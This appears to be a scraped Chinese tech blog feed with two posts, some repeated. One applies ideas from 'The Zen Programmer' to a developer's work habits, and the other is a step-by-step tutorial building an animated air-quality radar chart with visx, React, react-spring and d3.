所謂的不要設定職業目標不是說對於自己的職涯發展沒有任何規劃,而是比較偏向每天的工作應該都要享受當下的樂趣並接受不同職位的挑戰。例如:若為網頁前端工程師不用限制自己只能做前端,也可以嘗試了解後端或是 DevOps 相關工作。若你在工作上已經感到沒有學到東西或是沒有舞台可以發揮時,或許可以思考轉換跑道的可能性。若是設定硬性的職業目標往往會讓自己無法果斷的離開。
避免對於不熟悉業務的新人頤指氣使和參與辦公室政治和八卦,請記得在職場上往往做人比做事更重要。
在工作生活中請無時無刻都要留意身心發出的訊號,若是因為頻繁的熬夜加班讓自己的身體發出警訊時千萬別忽略它。此外,把握生命中的每一刻,盡情的專注投入其中。
做自己的老闆不代表自己要獨自創業,而是對於自己所做的事情擁有選擇權。舉例來說,技術是一種中性的工具,但若是運用在從事架設非法行為的網路服務或是侵犯到你道德底線的任務時,你應該勇於說不。不要為了錢或是其他利益,而放棄了自己的良知。
除了技術和程式設計外可以多培養額外其他的興趣:烹飪、旅行、登山、健行、閱讀、音樂、電影等,可以讓工作和社交生活可以更加豐富有趣,同時也可以拓展自己職涯生活的視野和可能性。記得技術只是工具,好的產品最重要的是解決客戶和產業的問題,這當中背後的商業邏輯和產業知識就是不同領域經驗的累積。
不管是你曾經追求的頭銜或是公司職位甚至是職場上某件讓你耿耿於懷的事情或是前同事,隨著時間過去已不再需要過分執著。生命脆弱,人生苦短。對於人生,好好把握當下,盡人事聽天命。
以上摘錄了一些 The Zen Programmer 程式設計之禪這本書中提到的觀念並結合筆者工作生活上的經驗一起分享給讀者,若有興趣的讀者可以一起交流討論提出不同的想法和觀點,分享自己的經驗或是更深入去閱讀相關書籍。在資訊量爆炸和注意力稀缺的時代,保有良好的習慣十分不易,定期檢視自己的工作流程是一種解法。希望每位讀者在軟硬體開發和程式設計這條路上都能走出屬於自己的一條路!
]]>之前因緣際會閱讀了 The Zen Programmer 程式設計之禪 這本書,光看書名很可能會認為書中主要討論是宗教靈性相關議題,但其實主要的篇幅還是討論如何將一些禪修相關的概念融入在工作生活當中。先說明一下,書中內容其實偏向身心靈和習慣養成的層面,不會提到有關程式設計相關技術或是軟體開發的方法論,可以當作輕鬆的散文或是小品文來閱讀,擷取合適的部分運用在工作生活當中。本文將摘錄一些書中提到的觀念並結合筆者工作生活上的經驗一起分享給讀者,若有興趣的讀者可以一起交流討論或是更深入去閱讀相關書籍。
書中作者開宗明義就介紹了為何自己會開始學習禪學?主要原因在於自己在工作、生活和健康上遇到極大的挑戰。在生活上不斷上演:不斷工作 -> 無止盡的加班(可能是需求變更、專案管理不當等) -> 大魚大肉、喝酒、通宵玩樂放鬆犒賞自己 -> 不斷工作 -> 無止盡的加班 的迴圈循環(對於某些工時和工作壓力大的讀者來說這樣的場景或許有些熟悉)
。在這樣的循環中感覺人生就像是行屍走肉一般,最後健康也出了狀況。直到有一天因緣際會開始嘗試改變並認真看待如何透過學習禪學來改變自己的人生。
那究竟為什麼要學習禪修程式設計呢?作者認為學習禪修程式設計可以有助於提升工作和生活品質。透過冥想禪修打坐等方式搭配良好的工作習慣磨練專注度和平靜心性。千萬記得程式開發背後是透過人來進行,人的狀態往往會影響程式設計品質良窳,人在憤怒、情緒不穩定和極度高壓力下往往寫出的程式品質會有許多問題。
看看以下的例子:
Joe 是一個軟體工程師,當他開完每天早上的例行 Scrum 站立會議後回到座位上,開啟 Email 回覆了幾封信件,突然間隔壁座位 PM 的電話響起,由於同事剛好不在只好幫忙代接電話。接完電話開始著手修復剛剛 PR 產生的 bug,剛開始閱讀一下 API 文件,朋友 Mark 分享一則有趣的新聞,點擊進去看後看著看著又瀏覽到 Twitter 上的一些新訊息。突然想到不知不覺下一個會議即將到來。等開完會後再回到辦公桌前,Joe 努力喘口氣但卻已經記不得剛剛做的事情和工作的思路。
看到這裡或許也會有讀者感到心有戚戚焉,一天工作時間往往在回覆 Email、處理私人或家庭瑣事、無止盡的會議、零食區/茶水間的同事八卦閒聊中流逝,實際可以專注在技術開發的時間可能不到 3、4 小時。所以有許多工程師/程式設計師偏好在深夜工作,某種程度就是因為深夜的干擾會比白來來的少,工作起來更有效率。
除了冥想禪修打坐等方式,我們也可以透過建立一些良好的工作習慣來保護自己的時間,提高工作效率。
除了舉了許多工作生活的案例和將禪修運用在提高工作效率的小技巧外,作者最後也彙整了程式設計師的十條禪修法則(與其說是法則,不如說是人生累積的一種智慧)可以讓讀者運用在程式設計師的職涯發展和日常工作上,以下筆者擷取書中一些概念並加入自己的一些工作生活經驗和體悟與讀者分享。
一心一用,該工作時就努力投入,該休息時就好好休息,多工處理往往會事倍功半。
適度的使用社交軟體雖然有趣,但若在工作時一直想著其他人的動態或是訊息往往會讓自己無法專注在工作上。
還記得剛學習不同技術時的好奇心和熱情嗎?隨著經驗的累積和人生不同責任的堆疊,許多程式設計師/軟體工程師已經失去了探索新事物和新技術的熱情。不管你的經驗或是年資得多寡,請持續保持初心者的心態,世界很大,在資訊科技的職涯中永保謙遜和對於新事物的熱情才能走的長遠。
有些程式設計師/軟體工程師在工作上若有一定經驗時,有時可能會變得過度堅持自己對於技術的想法或是意見。世界上沒有最好的程式語言或是工具,只有最適合的。保持無我的心態才能在進行技術評估選擇或是會議討論時提出中性且對於團隊最好的建議。
所謂的不要設定職業目標不是說對於自己的職涯發展沒有任何規劃,而是比較偏向每天的工作應該都要享受當下的樂趣並接受不同職位的挑戰。例如:若為網頁前端工程師不用限制自己只能做前端,也可以嘗試了解後端或是 DevOps 相關工作。若你在工作上已經感到沒有學到東西或是沒有舞台可以發揮時,或許可以思考轉換跑道的可能性。若是設定硬性的職業目標往往會讓自己無法果斷的離開。
避免對於不熟悉業務的新人頤指氣使和參與辦公室政治和八卦,請記得在職場上往往做人比做事更重要。
在工作生活中請無時無刻都要留意身心發出的訊號,若是因為頻繁的熬夜加班讓自己的身體發出警訊時千萬別忽略它。此外,把握生命中的每一刻,盡情的專注投入其中。
做自己的老闆不代表自己要獨自創業,而是對於自己所做的事情擁有選擇權。舉例來說,技術是一種中性的工具,但若是運用在從事架設非法行為的網路服務或是侵犯到你道德底線的任務時,你應該勇於說不。不要為了錢或是其他利益,而放棄了自己的良知。
除了技術和程式設計外可以多培養額外其他的興趣:烹飪、旅行、登山、健行、閱讀、音樂、電影等,可以讓工作和社交生活可以更加豐富有趣,同時也可以拓展自己職涯生活的視野和可能性。記得技術只是工具,好的產品最重要的是解決客戶和產業的問題,這當中背後的商業邏輯和產業知識就是不同領域經驗的累積。
不管是你曾經追求的頭銜或是公司職位甚至是職場上某件讓你耿耿於懷的事情或是前同事,隨著時間過去已不再需要過分執著。生命脆弱,人生苦短。對於人生,好好把握當下,盡人事聽天命。
以上摘錄了一些 The Zen Programmer 程式設計之禪這本書中提到的觀念並結合筆者工作生活上的經驗一起分享給讀者,若有興趣的讀者可以一起交流討論提出不同的想法和觀點,分享自己的經驗或是更深入去閱讀相關書籍。在資訊量爆炸和注意力稀缺的時代,保有良好的習慣十分不易,定期檢視自己的工作流程是一種解法。希望每位讀者在軟硬體開發和程式設計這條路上都能走出屬於自己的一條路!
]]>Airbnb 一向在前端與設計上有深刻著墨,總能推出質感很好的工具給相關人員使用,而在上個月他們釋出了 v1.0 版本的資料視覺化套件 - visx,強調特色是架構在 React 上,提供與類似 D3 的底層 API 來製作圖表。然而結合 React 與 D3 的套件何其多,Airbnb 出品的 visx 與其它產品的差異是什麼,使用起來的感覺又是如何,今天趁著雙十連假,嘗試實際寫寫看,並跟大家分享。
照例先展示個最終範例:
visx 在三年前就已經開源了,當時叫做 vx,一直處於 beta 的狀態,而實際上在 Airbnb 內部已經應用在各種正式環境的專案上兩年多,中間經過許多更新並以 TypeScript 重寫過,才在上個月以 1.0 的版本再次問世。
如同前言提到的,市面上不乏整合 React 與 D3 的套件可以使用,而且大多數都盡量設計得簡單易用,資料傳進去,一組 Bar Chart 就出來了,為什麼 Airbnb 要在自己打造一套工具呢?
在官方的 blog 中他們繪製了一張圖精簡的解釋了這個工具存在的意義:
(偷偷吐槽一下,他們的 logo 放在這圖裡感覺像是在那欄畫了一的大叉叉...)
那些隨插即用的 Chart library 之所以無法撼動 D3 地位的原因在於缺乏足夠的 Expressive,也就是不夠底層,能夠操控的範圍受限,相對的,D3 則提供了非常多的底層介面讓你能細緻的操作資料與畫面的整合互動。
然而 D3 對於前端工程師來說,最讓人畏懼的就是其陡峭的學習曲線,尤其當你嘗試將 D3 直接運用在你的 React 專案內時,兩種截然不同的 mental model 與操作 DOM 的方式,相信一定會在你心裡留有芥蒂,當然也容易產生 Bug。
因此 visx 針對這幾個問題做了解決,提供以下主要特色:
import { Bar } from '@vx/shape';
綜合以上特色,使用 visx 與使用 D3 的最大差異在於,你不再需要了解 d3.select
, data join, enter/exit status 等等屬於 D3 根據 data 更新 DOM 的邏輯思路,但又能保有相對 primitives 的元件可使用,而且在進行一些單純的資料運算、scale 函式上,你也還是能使用 D3 提供的 utils。 其餘的一切都是 React,包含 Layout responsive 等等都是由 React component 來負責。
簡單介紹完 visx 的特色,接著就來實際把玩看看!官方 github 附有一個簡單的 bar chart 圖表,但每次都使用 bar chart 做範例太無趣,因此挑個稍微複雜一點的 Radar chart(雷達圖) 來做範例。
雷達圖適合用來呈現多維度的資料,用來展示臺灣六都的幾個重要空氣品質指標項目感覺蠻適合的,加上其 API 在 政府 open data 中又算是比較方便取用的一個...
API 取自 行政院環境保護署。環境資源資料開放平臺,每小時會更新一次。
為了體驗 visx 的特色,這次範例的製作流程大致如下:
完整程式碼可以從 CodeSandbox 上取得,這邊只會擷取重要部分。
那麼就開始吧!
老實說 visx 官網其實沒什麼文件,都是很基本的 props 類型與介紹,範例就直接丟程式碼給你,唯一一篇手把手教你建立出一個 bar chart 的教學也是三年前寫的。
在這條件下,最好的學習方式也只有從範例開始,剛好在 visx 官網的 Gallery 已經有個雷達圖的範例,可以根據範例進行修改。
首先,資料視覺化的第一步就是準備好資料:
const useDataFetch = () => {
const [data, setData] = useState([]);
const URI =
"https://opendata.epa.gov.tw/api/v1/AQI?%24skip=0&%24top=1000&%24format=json";
useEffect(() => {
const fetchData = async () => {
try {
const data = fallbackData; // await (await fetch(URI)).json();
const fileterdData = data
.filter(/* data process */)
.map(/* data process */);
setData(fileterdData);
} catch (error) {
console.log({ error });
}
};
fetchData();
}, []);
return [data];
};
export default useDataFetch;
利用先前提到的保護署開放資料 API 來取得即時的六都空氣品質資訊。不過 API response time 很久,一次 request 可能要等個十幾二十秒...所以開發上我多放個 fallback data 擋著,才部會一直沒有畫面出現。
題外話,visx 也提供一些 mockdata 供你使用,像是 apple stock import { appleStock } from '@vx/mock-data';
。
接著我們需要定義一下整個圖表的大小,也就是長寬,你可以定義固定大小的圖表,或是使用 visx 中一個叫做 @visx/responsive
的 package,裡面有三種控制元素大小的 HOC 可以使用:ParentSize
, ScaleSVG
和 withScreenSize
。從名稱很簡單可以看出功能,這邊我採用 ParentSize
。
render(
<ParentSize>
{({ width, height }) => <Radar width={width} height={height} />}
</ParentSize>,
document.getElementById("root")
);
在 index.tsx
中,直接用 ParentSize
包住我的 Radar
component,將其長寬傳入,如此一來,只要 Parent container size 改變了,我的 Radar component 就會根據新傳入的長寬去進行調整。
有了 Container 的大小後,接著定義雷達圖的半徑、大小:
const xMax = width - margin.left - margin.right;
const yMax = height - margin.top - margin.bottom;
const radius = Math.min(xMax, yMax) / 2;
const radialScale = scaleLinear<number>({
range: [0, Math.PI * 2],
domain: [degrees, 0]
});
const yScale = scaleLinear<number>({
range: [0, radius],
domain: [0, Math.max(...data.map(y))]
});
const webs = genAngles(data.length);
const points = genPoints(data.length, radius);
const polygonPoints = genPolygonPoints(data, (d) => yScale(d) ?? 0, y);
這邊基本上只要用過 D3 的人都會覺得熟悉,在真正渲染圖表前,會需要依照資料內容、長度等等製作適當的 scale 函式,來映射適當的元素大小到圖表上。
雷達圖需要知道的不外乎是資料所在的角度(radialScale)與半徑位置(yScale),visx 的 @visx/scale
提供幾種 scale 函式供你使用,基本上他就是在 d3-scale 上外加一層 wrapper。
而雷達本身的點與線段(genAngles
, genPoints
, genPolygonPoints
),基本上都是基本的數學運算,跟 visx 本身關係不大,這邊不詳述細節,可以到
查看實際程式碼。
scale 函式也準備就緒後,就可以來創建雷達圖表本身了:
const Radar = (<svg width={width} height={height}> </svg>);
visx 的元件基本上都預期你將其 render 在 svg
元素內。
接著載入幾個建立雷達圖需要的 packages:
import { Group } from "@visx/group";
import { Line, LineRadial } from "@visx/shape";
import { Text } from "@visx/text";
Group
, Line
與 Text
基本對應 svg 內的 g
, line
和 text
;LineRadial
則是 visx 提供的 shape
元件。
組合起來的 render function:
<svg width={width} height={height}>
<rect fill={background} width={width} height={height} rx={14} />
<Group top={height / 2 - margin.top} left={width / 2}>
{[...new Array(levels)].map((_, i) => (
<LineRadial
key={`web-${i}`}
data={webs}
angle={(d) => radialScale(d.angle) ?? 0}
radius={((i + 1) * radius) / levels}
fill="none"
stroke={silver}
strokeWidth={2}
strokeOpacity={0.8}
strokeLinecap="round"
/>
))}
{[...new Array(data.length)].map((_, i) => (
<>
<Line
key={`radar-line-${i}`}
from={zeroPoint}
to={points[i]}
stroke={silver}
/>
<Text
textAnchor="middle"
verticalAnchor="middle"
dx={points[i].x}
dy={points[i].y}
>
{data[i].key}
</Text>
</>
))}
<polygon
points={polygonPoints.pointString}
fill={orange}
fillOpacity={0.3}
stroke={orange}
strokeWidth={1}
/>
{polygonPoints.points.map((point, i) => (
<circle
key={`radar-point-${i}`}
cx={point.x}
cy={point.y}
r={4}
fill={pumpkin}
/>
))}
</Group>
</svg>
到這邊可以發現,你就是在寫 React 而已,把 visx 提供的 component 堆疊到 svg
元素中,然後把 data 當作 props 傳入即可,不用再去思考什麼 d3.select
,更不用理解 D3 中 enter/exit
等資料更新狀態。
到這邊為止就能繪製出這樣的圖表:
在上一步中,只有繪製一份資料的圖表,現在是時候把六個直轄市的資料都放進來,並且加上 tooltip 來呈現詳細資訊,這樣才是一個合格的資訊圖表。
const [apiData] = useDataFetch();
const [selectedIdx, setSelectedIdx] = useState(0);
const data = apiData[selectedIdx]?.info || [];
更新資料的部分,直接用 useState
去更改要傳入給 component 的 props 即可。
<Selector setSelectedIdx={setSelectedIdx} apiData={apiData} />
可以與其他 react component 結合,這邊我額外實作一個 selector component 來切換六都資料。
當資料切換,setSelectedIdx
被呼叫,component 重新 render,所有 svg
內我們堆疊的 component 也都會進行更新,就是 React 的邏輯。
而 tooltip 的部分,可以利用 @visx/tooltip
來完成,@visx/tooltip
跟目前主流的 react 套件一樣,提供 hook 與 HOC 兩種方法可供使用:
Hooks: useTooltip()
, HOC: withTooltip()
這次的範例我採用 Hooks:
const {
tooltipData,
tooltipLeft,
tooltipTop,
tooltipOpen,
showTooltip,
hideTooltip
} = useTooltip();
const handleMouseOver = useCallback(
(coords, datum) => {
showTooltip({
tooltipLeft: coords.x,
tooltipTop: coords.y,
tooltipData: datum
});
},
[showTooltip]
);
useTooltip()
回傳 tooltip 內的資料、位置、現在開啟與否,以及控制顯示與隱藏 tooltip 的函式。搭配一些 event handler 就能輕鬆達成 tooltip 功能。
至於 tooltip 本身的元件,並不是由 Hooks 回傳,得從 @visx/tooltip
中載入 Tooltip
。此外,這個 Tooltip
元件其實蠻雷的,他跟其他的 visx component 不同,不是讓你繪製在 svg
內,而是 render 出一個 div
,要小心不要跟其他 component 一起放到 svg
內了。
另外,Tooltip
使用 position: absolute
來控制位置,這代表著你必須需要提供他一個 Wrapper 是 position: relatieve
,才能正確地顯示相對位置,這並不是這麼好調整,算是 visx 我使用起來覺得有待改善的部分。
<div style={{ position: 'relative' }}>
<svg>
{/* other components */}
</svg>
{tooltipOpen && (
<Tooltip
key={Math.random()}
top={tooltipTop + height / 2}
left={tooltipLeft + width / 2}
style={tooltipStyles}
>
<strong>{tooltipData}</strong>
</Tooltip>
)}
</div>
此步驟成果如下:
基本功能都完成後,就得來加上點動畫,順便體驗看看 visx 所謂的 un-opinionated on purpose 是什麼感覺。
如果是用 D3 繪製圖表,當你要製作動畫時,必須得注意資料的 join 狀態,在沒有了解 enter/exit
的概念前,要讓 d3 圖表動起來,會感覺是盲人摸象看不清。
而使用 visx 的話,基本上你要操控的就是將資料當作 props 傳入的 component,要套上哪一套 react animation library 都可以,我採用 react-spring 來將 polygon 在資料切換時做位移的 transform:
import { useSpring, animated } from "react-spring";
react-spring 的用法也算簡單,提供一個 useSpring
Hooks 來產生一個 spring(moves data from a -> b):
const polygonPoints = genPolygonPoints(data, (d) => yScale(d) ?? 0, y);
const polygonProps = useSpring({ points: polygonPoints.pointString });
我們想要讓 polygon points 變動時有動畫效果,方法就是透過 useSpring
針對 polygon points 生成一個 spring,然後將該 spring 傳入以 animated.polygon
取代的 polygon 中:
+<animated.polygon
+ points={polygonProps.points}
-<polygon
- points={polygonPoints.pointString}
fill={polygonColor}
fillOpacity={0.3}
stroke={polygonColor}
strokeWidth={1}
/>
每當資料切換,component 重新 render 時,新產生的 spring 就會被傳給 animated.polygon
,react-spring
就會幫我們進行其中的補間動畫。完全不需要思考什麼 data enter, data exit,就是單純的 react component animation:
最後再加上一點顏色變化,也試試看 D3 與 visx 的搭配。
以 d3-scale 來負責顏色的運算,讓 visx 負責圖表元件的渲染:
import { scaleSequential } from "d3-scale";
import { max } from "d3-array";
import { interpolateOrRd } from "d3-scale-chromatic";
使用 scaleSequential
搭配 interpolateOrRd
來對應不同 AQI 的數值顏色。
const AQIvalue = apiData.reduce((acc, prev) => {
acc.push(prev.info[0].value);
return acc;
}, []);
const colorScale = scaleSequential(interpolateOrRd).domain([
0,
max(AQIvalue)
]);
const polygonColor = colorScale(data[0].value);
從上面的程式碼可以看出,這邊我們單純的運用資料與 d3 packages 進行運算,產出的顏色直接當作 props 傳入 visx 元件即可完成我們想要的效果:
<animated.polygon
points={polygonProps.points}
fill={polygonColor}
fillOpacity={0.3}
stroke={polygonColor}
strokeWidth={1}
/>
如此一來就大功告成啦!完整版程式碼請參考:
visx 的使用體驗蠻好的,提供底層的元件讓你自己組裝,搭配上 d3 方便的資料處理套件,基本上可以用來建造屬於你們自己 team 內的 chart library。
雖然已經開發三年,但感覺得出來還是有不少功能需要加入或改善,他們的 maintainer 目前還算蠻積極在回應 issue,若是看到這邊的讀者有興趣,歡迎去玩玩看,翻翻他們的程式碼,說不定也有你能貢獻的地方!
Airbnb 一向在前端與設計上有深刻著墨,總能推出質感很好的工具給相關人員使用,而在上個月他們釋出了 v1.0 版本的資料視覺化套件 - visx,強調特色是架構在 React 上,提供與類似 D3 的底層 API 來製作圖表。然而結合 React 與 D3 的套件何其多,Airbnb 出品的 visx 與其它產品的差異是什麼,使用起來的感覺又是如何,今天趁著雙十連假,嘗試實際寫寫看,並跟大家分享。
照例先展示個最終範例:
visx 在三年前就已經開源了,當時叫做 vx,一直處於 beta 的狀態,而實際上在 Airbnb 內部已經應用在各種正式環境的專案上兩年多,中間經過許多更新並以 TypeScript 重寫過,才在上個月以 1.0 的版本再次問世。
如同前言提到的,市面上不乏整合 React 與 D3 的套件可以使用,而且大多數都盡量設計得簡單易用,資料傳進去,一組 Bar Chart 就出來了,為什麼 Airbnb 要在自己打造一套工具呢?
在官方的 blog 中他們繪製了一張圖精簡的解釋了這個工具存在的意義:
(偷偷吐槽一下,他們的 logo 放在這圖裡感覺像是在那欄畫了一的大叉叉...)
那些隨插即用的 Chart library 之所以無法撼動 D3 地位的原因在於缺乏足夠的 Expressive,也就是不夠底層,能夠操控的範圍受限,相對的,D3 則提供了非常多的底層介面讓你能細緻的操作資料與畫面的整合互動。
然而 D3 對於前端工程師來說,最讓人畏懼的就是其陡峭的學習曲線,尤其當你嘗試將 D3 直接運用在你的 React 專案內時,兩種截然不同的 mental model 與操作 DOM 的方式,相信一定會在你心裡留有芥蒂,當然也容易產生 Bug。
因此 visx 針對這幾個問題做了解決,提供以下主要特色:
import { Bar } from '@vx/shape';
綜合以上特色,使用 visx 與使用 D3 的最大差異在於,你不再需要了解 d3.select
, data join, enter/exit status 等等屬於 D3 根據 data 更新 DOM 的邏輯思路,但又能保有相對 primitives 的元件可使用,而且在進行一些單純的資料運算、scale 函式上,你也還是能使用 D3 提供的 utils。 其餘的一切都是 React,包含 Layout responsive 等等都是由 React component 來負責。
簡單介紹完 visx 的特色,接著就來實際把玩看看!官方 github 附有一個簡單的 bar chart 圖表,但每次都使用 bar chart 做範例太無趣,因此挑個稍微複雜一點的 Radar chart(雷達圖) 來做範例。
雷達圖適合用來呈現多維度的資料,用來展示臺灣六都的幾個重要空氣品質指標項目感覺蠻適合的,加上其 API 在 政府 open data 中又算是比較方便取用的一個...
API 取自 行政院環境保護署。環境資源資料開放平臺,每小時會更新一次。
為了體驗 visx 的特色,這次範例的製作流程大致如下:
完整程式碼可以從 CodeSandbox 上取得,這邊只會擷取重要部分。
那麼就開始吧!
老實說 visx 官網其實沒什麼文件,都是很基本的 props 類型與介紹,範例就直接丟程式碼給你,唯一一篇手把手教你建立出一個 bar chart 的教學也是三年前寫的。
在這條件下,最好的學習方式也只有從範例開始,剛好在 visx 官網的 Gallery 已經有個雷達圖的範例,可以根據範例進行修改。
首先,資料視覺化的第一步就是準備好資料:
const useDataFetch = () => {
const [data, setData] = useState([]);
const URI =
"https://opendata.epa.gov.tw/api/v1/AQI?%24skip=0&%24top=1000&%24format=json";
useEffect(() => {
const fetchData = async () => {
try {
const data = fallbackData; // await (await fetch(URI)).json();
const fileterdData = data
.filter(/* data process */)
.map(/* data process */);
setData(fileterdData);
} catch (error) {
console.log({ error });
}
};
fetchData();
}, []);
return [data];
};
export default useDataFetch;
利用先前提到的保護署開放資料 API 來取得即時的六都空氣品質資訊。不過 API response time 很久,一次 request 可能要等個十幾二十秒...所以開發上我多放個 fallback data 擋著,才部會一直沒有畫面出現。
題外話,visx 也提供一些 mockdata 供你使用,像是 apple stock import { appleStock } from '@vx/mock-data';
。
接著我們需要定義一下整個圖表的大小,也就是長寬,你可以定義固定大小的圖表,或是使用 visx 中一個叫做 @visx/responsive
的 package,裡面有三種控制元素大小的 HOC 可以使用:ParentSize
, ScaleSVG
和 withScreenSize
。從名稱很簡單可以看出功能,這邊我採用 ParentSize
。
render(
<ParentSize>
{({ width, height }) => <Radar width={width} height={height} />}
</ParentSize>,
document.getElementById("root")
);
在 index.tsx
中,直接用 ParentSize
包住我的 Radar
component,將其長寬傳入,如此一來,只要 Parent container size 改變了,我的 Radar component 就會根據新傳入的長寬去進行調整。
有了 Container 的大小後,接著定義雷達圖的半徑、大小:
const xMax = width - margin.left - margin.right;
const yMax = height - margin.top - margin.bottom;
const radius = Math.min(xMax, yMax) / 2;
const radialScale = scaleLinear<number>({
range: [0, Math.PI * 2],
domain: [degrees, 0]
});
const yScale = scaleLinear<number>({
range: [0, radius],
domain: [0, Math.max(...data.map(y))]
});
const webs = genAngles(data.length);
const points = genPoints(data.length, radius);
const polygonPoints = genPolygonPoints(data, (d) => yScale(d) ?? 0, y);
這邊基本上只要用過 D3 的人都會覺得熟悉,在真正渲染圖表前,會需要依照資料內容、長度等等製作適當的 scale 函式,來映射適當的元素大小到圖表上。
雷達圖需要知道的不外乎是資料所在的角度(radialScale)與半徑位置(yScale),visx 的 @visx/scale
提供幾種 scale 函式供你使用,基本上他就是在 d3-scale 上外加一層 wrapper。
而雷達本身的點與線段(genAngles
, genPoints
, genPolygonPoints
),基本上都是基本的數學運算,跟 visx 本身關係不大,這邊不詳述細節,可以到
查看實際程式碼。
scale 函式也準備就緒後,就可以來創建雷達圖表本身了:
const Radar = (<svg width={width} height={height}> </svg>);
visx 的元件基本上都預期你將其 render 在 svg
元素內。
接著載入幾個建立雷達圖需要的 packages:
import { Group } from "@visx/group";
import { Line, LineRadial } from "@visx/shape";
import { Text } from "@visx/text";
Group
, Line
與 Text
基本對應 svg 內的 g
, line
和 text
;LineRadial
則是 visx 提供的 shape
元件。
組合起來的 render function:
<svg width={width} height={height}>
<rect fill={background} width={width} height={height} rx={14} />
<Group top={height / 2 - margin.top} left={width / 2}>
{[...new Array(levels)].map((_, i) => (
<LineRadial
key={`web-${i}`}
data={webs}
angle={(d) => radialScale(d.angle) ?? 0}
radius={((i + 1) * radius) / levels}
fill="none"
stroke={silver}
strokeWidth={2}
strokeOpacity={0.8}
strokeLinecap="round"
/>
))}
{[...new Array(data.length)].map((_, i) => (
<>
<Line
key={`radar-line-${i}`}
from={zeroPoint}
to={points[i]}
stroke={silver}
/>
<Text
textAnchor="middle"
verticalAnchor="middle"
dx={points[i].x}
dy={points[i].y}
>
{data[i].key}
</Text>
</>
))}
<polygon
points={polygonPoints.pointString}
fill={orange}
fillOpacity={0.3}
stroke={orange}
strokeWidth={1}
/>
{polygonPoints.points.map((point, i) => (
<circle
key={`radar-point-${i}`}
cx={point.x}
cy={point.y}
r={4}
fill={pumpkin}
/>
))}
</Group>
</svg>
到這邊可以發現,你就是在寫 React 而已,把 visx 提供的 component 堆疊到 svg
元素中,然後把 data 當作 props 傳入即可,不用再去思考什麼 d3.select
,更不用理解 D3 中 enter/exit
等資料更新狀態。
到這邊為止就能繪製出這樣的圖表:
在上一步中,只有繪製一份資料的圖表,現在是時候把六個直轄市的資料都放進來,並且加上 tooltip 來呈現詳細資訊,這樣才是一個合格的資訊圖表。
const [apiData] = useDataFetch();
const [selectedIdx, setSelectedIdx] = useState(0);
const data = apiData[selectedIdx]?.info || [];
更新資料的部分,直接用 useState
去更改要傳入給 component 的 props 即可。
<Selector setSelectedIdx={setSelectedIdx} apiData={apiData} />
可以與其他 react component 結合,這邊我額外實作一個 selector component 來切換六都資料。
當資料切換,setSelectedIdx
被呼叫,component 重新 render,所有 svg
內我們堆疊的 component 也都會進行更新,就是 React 的邏輯。
而 tooltip 的部分,可以利用 @visx/tooltip
來完成,@visx/tooltip
跟目前主流的 react 套件一樣,提供 hook 與 HOC 兩種方法可供使用:
Hooks: useTooltip()
, HOC: withTooltip()
這次的範例我採用 Hooks:
const {
tooltipData,
tooltipLeft,
tooltipTop,
tooltipOpen,
showTooltip,
hideTooltip
} = useTooltip();
const handleMouseOver = useCallback(
(coords, datum) => {
showTooltip({
tooltipLeft: coords.x,
tooltipTop: coords.y,
tooltipData: datum
});
},
[showTooltip]
);
useTooltip()
回傳 tooltip 內的資料、位置、現在開啟與否,以及控制顯示與隱藏 tooltip 的函式。搭配一些 event handler 就能輕鬆達成 tooltip 功能。
至於 tooltip 本身的元件,並不是由 Hooks 回傳,得從 @visx/tooltip
中載入 Tooltip
。此外,這個 Tooltip
元件其實蠻雷的,他跟其他的 visx component 不同,不是讓你繪製在 svg
內,而是 render 出一個 div
,要小心不要跟其他 component 一起放到 svg
內了。
另外,Tooltip
使用 position: absolute
來控制位置,這代表著你必須需要提供他一個 Wrapper 是 position: relatieve
,才能正確地顯示相對位置,這並不是這麼好調整,算是 visx 我使用起來覺得有待改善的部分。
<div style={{ position: 'relative' }}>
<svg>
{/* other components */}
</svg>
{tooltipOpen && (
<Tooltip
key={Math.random()}
top={tooltipTop + height / 2}
left={tooltipLeft + width / 2}
style={tooltipStyles}
>
<strong>{tooltipData}</strong>
</Tooltip>
)}
</div>
此步驟成果如下:
基本功能都完成後,就得來加上點動畫,順便體驗看看 visx 所謂的 un-opinionated on purpose 是什麼感覺。
如果是用 D3 繪製圖表,當你要製作動畫時,必須得注意資料的 join 狀態,在沒有了解 enter/exit
的概念前,要讓 d3 圖表動起來,會感覺是盲人摸象看不清。
而使用 visx 的話,基本上你要操控的就是將資料當作 props 傳入的 component,要套上哪一套 react animation library 都可以,我採用 react-spring 來將 polygon 在資料切換時做位移的 transform:
import { useSpring, animated } from "react-spring";
react-spring 的用法也算簡單,提供一個 useSpring
Hooks 來產生一個 spring(moves data from a -> b):
const polygonPoints = genPolygonPoints(data, (d) => yScale(d) ?? 0, y);
const polygonProps = useSpring({ points: polygonPoints.pointString });
我們想要讓 polygon points 變動時有動畫效果,方法就是透過 useSpring
針對 polygon points 生成一個 spring,然後將該 spring 傳入以 animated.polygon
取代的 polygon 中:
+<animated.polygon
+ points={polygonProps.points}
-<polygon
- points={polygonPoints.pointString}
fill={polygonColor}
fillOpacity={0.3}
stroke={polygonColor}
strokeWidth={1}
/>
每當資料切換,component 重新 render 時,新產生的 spring 就會被傳給 animated.polygon
,react-spring
就會幫我們進行其中的補間動畫。完全不需要思考什麼 data enter, data exit,就是單純的 react component animation:
最後再加上一點顏色變化,也試試看 D3 與 visx 的搭配。
以 d3-scale 來負責顏色的運算,讓 visx 負責圖表元件的渲染:
import { scaleSequential } from "d3-scale";
import { max } from "d3-array";
import { interpolateOrRd } from "d3-scale-chromatic";
使用 scaleSequential
搭配 interpolateOrRd
來對應不同 AQI 的數值顏色。
const AQIvalue = apiData.reduce((acc, prev) => {
acc.push(prev.info[0].value);
return acc;
}, []);
const colorScale = scaleSequential(interpolateOrRd).domain([
0,
max(AQIvalue)
]);
const polygonColor = colorScale(data[0].value);
從上面的程式碼可以看出,這邊我們單純的運用資料與 d3 packages 進行運算,產出的顏色直接當作 props 傳入 visx 元件即可完成我們想要的效果:
<animated.polygon
points={polygonProps.points}
fill={polygonColor}
fillOpacity={0.3}
stroke={polygonColor}
strokeWidth={1}
/>
如此一來就大功告成啦!完整版程式碼請參考:
visx 的使用體驗蠻好的,提供底層的元件讓你自己組裝,搭配上 d3 方便的資料處理套件,基本上可以用來建造屬於你們自己 team 內的 chart library。
雖然已經開發三年,但感覺得出來還是有不少功能需要加入或改善,他們的 maintainer 目前還算蠻積極在回應 issue,若是看到這邊的讀者有興趣,歡迎去玩玩看,翻翻他們的程式碼,說不定也有你能貢獻的地方!
